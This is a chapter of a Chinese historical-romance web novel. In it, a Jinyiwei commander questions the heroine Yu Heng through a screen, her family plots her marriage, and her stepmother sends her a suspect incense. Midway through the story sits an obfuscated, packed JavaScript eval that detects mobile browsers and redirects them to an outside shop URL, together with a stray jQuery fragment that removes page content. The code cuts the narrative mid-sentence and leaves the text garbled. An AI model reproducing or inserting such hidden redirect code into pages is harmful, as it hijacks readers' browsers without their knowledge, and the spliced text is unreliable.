虞蘅捏紧衣摆,面上笑容微黯,“指挥使听错了罢。我是有个姐姐。但——”
她听见自己的声音:“她是自尽的……的的确确,是自尽的。”
沈焕沉默了。虞蘅的话掉到地上。
屏风横亘在两人之间,像连绵的山脉。
屏风后,他是门第显赫嫉恶如仇的锦衣卫,是褚珅侄子的好友。
而她是乡野间的侠盗,只想要褚珅的命。
他们之间隔的又岂止一架纱屏。
沈焕用肯定的语气直刺:“你没说实话。”
虞蘅视线飘忽。
冷静。沈焕定是又在诈她。
她道:“今日所言都是实话。指挥使若不信,尽可去查。”
沈焕道:“刚才我表述或许有误。你说了实话,但只是其中一部分。”
“……”虞蘅呼吸有些急促,捏紧了衣摆,隔着屏风,她看不清沈焕的表情。但隔着屏风,这煞神的敏锐倒一点不减。
审讯犯人是沈焕的专业。这般年纪就当上锦衣卫指挥使,他能是什么善茬。
她不能再被牵着鼻子走。
今日沈焕以世子名义上门,就证明他只是以私人名义问话,还没有决定性证据,就算有,也不能把她抓起来。
想到此处,虞蘅松了口气,笑道:“指挥使真是把我说糊涂了,我知道的都已经告诉指挥使了。时间不早了,指挥使若再耽搁下去,只怕家中又要让我多抄几遍《女诫》和《女则》呢。”
沈焕眉头微蹙,将茶盏放在矮几上,沉声道:“五小姐说的是。今日我着急上府,只想提醒你一件事情,你的走失案牵连甚广,不排除背后凶手有灭口的可能。先前和我一起去查案的三名下属,皆是锦衣卫中的顶尖高手。最后的结果是,两人身亡,一人失踪,唯我尚存,也是九死一生。”
虞蘅闻言心一沉。
童年的梦魇缠身。养父盗术顶尖,尤擅奔逃,万分小心,仍是断了条腿。薇姐姐从魔窟逃出来,最后还是未免一死。
她怎会不知背后凶险,只是没想到锦衣卫也会因此事而牺牲。
隔着屏风,她忽然很想看清沈焕的表情。
想看看他眼中是否有一丝哀痛或愤恨。
嘉陵山水图后,他影影绰绰站起。
日光都垂爱,在他衣上洇出一圈光晕。
很微妙的感觉。
之前沈焕和他接触时一直都是以锦衣卫指挥使的身份。并无遮拦。
隔着屏风,她竟控制不住想象他的模样,揣度他的情绪。
屏风后,沈世子是否会比沈指挥使更接近他的本真?
不是褚珅的好友,不是紧咬她不放的可恨锦衣卫。
只是沈焕。
虞蘅的嘴唇动了动,终是垂眸。
思虑间,下属已经叫了虞尚书来。
“世子问完了?可还有所需?”虞尚书殷切问。
沈焕道:“尚书大人,叨扰了。此次收获颇丰,若案件破获,尚书府,尤其是五小姐居功至上。我必向圣上言明。”
虞尚书连忙推辞:“哪里哪里,我等不过是尽了本分,若对世子有益,能为圣上解忧,是鄙府上下之幸。”
“仍有悬念未解,日后恐怕还会叨扰,”沈焕笑道,“也望虞尚书理解,此次我登门拜访只为查案,先前也只是为了寻回华阳夫人的遗物,和五小姐无涉。只是众口铄金,积毁销骨。不可不防。”
虞蘅心想,他这算什么?帮她撇清关系?
沈焕看着唯我独尊,倒还心细。
虞尚书也是个人精,立马就明白沈焕言下之意,他心下主意已定,道:“世子放心。”
几人一面寒暄一面出了花厅。
沈焕走后,辛氏和虞璎被虞尚书叫到内厅。
虞老夫人高坐堂上。
虞尚书沉着脸,话也未说一句,劈头盖脸便给了辛氏一巴掌。
辛氏捂着火辣辣的脸颊,耳畔一阵嗡鸣,哭道:“老爷!不知妾身犯了什么错?”
虞尚书斥道:“这种人你也敢招惹?你疯了吗!家里这些阴私,若被他翻出来,你十条命都不够!”
辛氏不敢再言,捂着脸只顾哭泣。
“那沈世子分明是五姐姐招来的!”虞璎忍不住插嘴。
“你懂什么?”虞尚书指着门道,“出去!平日也不知多读些书,竟蠢钝至此!”
虞璎咬着牙出去,看了眼泪流满面的母亲,心中对虞蘅的怨恨更深。
虞尚书见辛氏只是哭泣,心中更烦,道:“我问你,若沈焕真有话要问蘅姐儿,今日‘私会’时,为何不说,非要大费周折找上府来?此为其一。另外,他走时提华阳遗物,那分明是在点我。”
提到华阳夫人,辛氏和老夫人的脸色登时变了。
虞尚书道:“虞蘅今日带回的那顶金步摇,月枝给我看过了,分明就是昔年华阳常戴之物。为何会流落市集?”
老太太一听便明白七八分,看辛氏的眼神流露几分憎恶。
虞尚书对辛氏道:“蘅姐儿的责罚免了,《女则》和《女诫》就由你来抄吧。”
辛氏急道:“可是老爷,明日还要去参加裕王妃的宴会……”
老太太冷笑道:“去便去吧,去了回来再抄不也一样?只是切莫在宴会上惹是生非,否则,定不饶你。”
辛氏几乎咬碎后槽牙,强装柔顺,老太太也懒得管她心里怎么想。眼下有桩事更重要。
老太太朝虞尚书道:“听说,十三年前蘅姐儿走丢之时,沈焕也在场?”
“好像是有些印象,”虞尚书回想到,“儿子只记得,他为找蘅姐儿出过力。还总说蘅姐儿不是走失,是被拐走的。也不知如何这般肯定。”
老太太颔首:“这便是了。如今也是他寻回蘅姐儿,你说这算不算良缘?身在其中,如何不感慨造化弄人。”
虞尚书捻了捻胡须,沉默不语。
老太太道:“方才见蘅姐儿和沈焕隔着屏风,倒是令我想起一句诗,‘雾露隐芙蓉,见莲不分明’。细想,两人竟是宿世因果,因缘未觉。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524564|203428||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
当真是宿世因果,”虞尚书愈想愈觉得老夫人所言妙极,“沈焕一向公事公办。竟然为了蘅姐儿的案子私自上门拜访,儿子原也只有几分猜测,听母亲点破,倒真有迹可循了。”
老夫人道:“你现在觉得他的刀锋逼着整个虞家。可是,蘅姐儿在,百炼钢未尝不能化为绕指柔。这把刀也可以为虞家所用。如果我没记错的话,京察在即罢?”
老夫人捻转手中的佛珠手串,目光上下扫过虞尚书,一顿:“而今两宫相争,朝堂分裂。狡兔有三窟,仅得免死;如今,君只一窟,如何便高枕而卧了?”
听到老夫人的话,虞尚书沉吟半晌,不觉冷汗淋漓:“儿子多谢母亲提点。”
老夫人望着满院的梧桐,攥紧手中佛珠,皱树皮般的手背浮出青筋,喃喃:“业障,都是十三年前的业障……善待蘅姐儿,不仅是为虞家积福,也是为虞家消业啊。”
虞尚书看向院外梧桐影,沉默良久,道:“蘅姐儿到底是华阳的女儿,心性坚韧,才貌双全。将来若许得高门,也不负儿子苦心。”
辛氏在旁听着,她和虞尚书青梅竹马一场,自认知晓他心中算计。
辛氏捏紧了帕子,声音还带了些哽咽:“可怜天下父母心,蘅姐儿终究还是个没长大的孩子,完全没有体会到我们的苦心呢。”
虞尚书摇头:“这孩子正义感太盛,岂不闻刚者易折?必须让她学会低头,学会在黑白之外看待世事。人心有偏颇是常态,不明白这点,她如何在世家高门的漩涡里生存下去?”他顿了顿,又道,“太子选妃在即,届时阿蘅阿璎都会入宫相看。务必在那之前,将她的棱角磨得圆融些才是。”
辛氏心中一凛。
太子选妃!
虞轶作为吏部尚书,离阁臣之位仅一步之遥,褚珅凭借公主驸马的身份,凌驾于他之上。虞尚书心底是不服的。
他真存了让虞蘅攀龙附凤,助力仕途的心思。
辛氏手中的帕子几乎要被绞破。看来,想把虞蘅低嫁出去是绝无可能了。
而且,虞蘅竟买到了那顶她暗中出手的金步摇。似乎看出了什么,非要不可,还招得沈焕上门查案。
京察在即,若东窗事发,牵一发而动全身。到时候牵连的可不仅仅是虞家。
务必将之扼杀在摇篮之中。
辛氏下定了决心,呼出一口气,心里的石头慢慢沉了下去。
辛氏回到房中,从箱底翻出一只精巧的香盒,对心腹婆子吩咐:“你把这鹅梨帐中香给五小姐送去,就说是御赐的安神好物,我素日舍不得用的。见她今日烦闷,特赠她舒心。”
辛氏笑起来,眼角已经有一两丝淡淡的细纹,目光落在香盒之上。
-
虞蘅房中,香烟袅袅,异香扑鼻。云烟之中,那婆子点完香,将香炉盖子合上,放在床头,殷勤地朝虞蘅道:“五小姐,如此便可以了。夫人嘱咐,提前两个时辰点燃,安神效果最佳。”
婆子说罢便退下了。
月枝嗅了嗅:“小姐,这香倒怪好闻的。”